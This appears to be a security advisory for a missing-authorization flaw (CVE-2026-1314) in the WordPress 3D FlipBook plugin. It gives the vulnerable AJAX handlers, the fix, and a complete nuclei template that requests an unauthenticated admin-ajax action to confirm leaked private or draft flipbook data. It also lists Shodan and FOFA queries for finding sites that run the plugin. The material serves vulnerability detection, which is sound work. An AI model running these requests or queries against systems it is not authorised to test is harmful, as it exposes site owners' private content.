WordPress 3D FlipBook <= 1.16.17 - Information Disclosure

mediumseverity

5.3CVSS score

0.9%likelihood of exploitation, next 30 days

60%of all CVEs are less likely

Readycheck to confirm it

WordPress 3D FlipBook - PDF Flipbook Viewer, Flipbook Image Gallery plugin versions <= 1.16.17 contain a missing authorization vulnerability in multiple AJAX endpoints. The fb3d_send_posts_in, fb3d_send_post_pages, fb3d_send_posts_in_pages, fb3d_send_posts_in_first_page, and fb3d_send_post_first_page handlers are registered with wp_ajax_nopriv hooks but fail to verify the post status of requested flipbook entries. This allows unauthenticated attackers to retrieve full metadata, PDF URLs, and configuration data of private, draft, and password-protected flipbook posts.

Impact

Unauthenticated attackers can access sensitive flipbook metadata, potentially exposing confidential information.

Fix

Upgrade the 3D FlipBook - PDF Flipbook Viewer, Flipbook Image Gallery plugin to version 1.16.18 or later.

How to confirm it

Send: GET /wp-content/plugins/interactive-3d-flipbook-powered-physics-engine/readme.txt
Positive when: status_code == 200 and contains(body, "3D FlipBook")
Send: GET /wp-admin/admin-ajax.php?action=fb3d_send_posts
Positive when: contains "\"code\":0" and "\"title\":" and "\"post_type\":\"3d-flip-book\"" and "\"post_name\":\"\"" AND contains in header "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2026-1314 -u <target>

The full check

id: CVE-2026-1314

info:
  name: WordPress 3D FlipBook <= 1.16.17 - Information Disclosure
  author: theamanrawat
  severity: medium
  description: |
    WordPress 3D FlipBook - PDF Flipbook Viewer, Flipbook Image Gallery plugin versions <= 1.16.17 contain a missing authorization vulnerability in multiple AJAX endpoints. The fb3d_send_posts_in, fb3d_send_post_pages, fb3d_send_posts_in_pages, fb3d_send_posts_in_first_page, and fb3d_send_post_first_page handlers are registered with wp_ajax_nopriv hooks but fail to verify the post status of requested flipbook entries. This allows unauthenticated attackers to retrieve full metadata, PDF URLs, and configuration data of private, draft, and password-protected flipbook posts.
  impact: |
    Unauthenticated attackers can access sensitive flipbook metadata, potentially exposing confidential information.
  remediation:
    Upgrade the 3D FlipBook - PDF Flipbook Viewer, Flipbook Image Gallery plugin to version 1.16.18 or later.
  reference:
    - https://patchstack.com/database/wordpress/plugin/interactive-3d-flipbook-powered-physics-engine/vulnerability/wordpress-3d-flipbook-pdf-embedder-pdf-flipbook-viewer-flipbook-image-gallery-plugin-1-16-17-missing-authorization-to-unauthenticated-private-draft-flipbook-data-exposure-vulnerability
    - https://nvd.nist.gov/vuln/detail/CVE-2026-1314
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cwe-id: CWE-862
    cve-id: CVE-2026-1314
    epss-score: 0.00892
    epss-percentile: 0.5974
  metadata:
    verified: true
    max-request: 2
    vendor: iberezansky
    product: interactive_3d_flipbook
    framework: wordpress
    shodan-query: http.html:"/wp-content/plugins/interactive-3d-flipbook-powered-physics-engine/"
    fofa-query: body="/wp-content/plugins/interactive-3d-flipbook-powered-physics-engine/"
  tags: cve,cve2026,wordpress,wp-plugin,wp,3d-flipbook,exposure

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/interactive-3d-flipbook-powered-physics-engine/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "3D FlipBook")'
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/admin-ajax.php?action=fb3d_send_posts HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"code":0'
          - '"title":'
          - '"post_type":"3d-flip-book"'
          - '"post_name":""'
        condition: and

      - type: word
        part: header
        words:
          - application/json

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from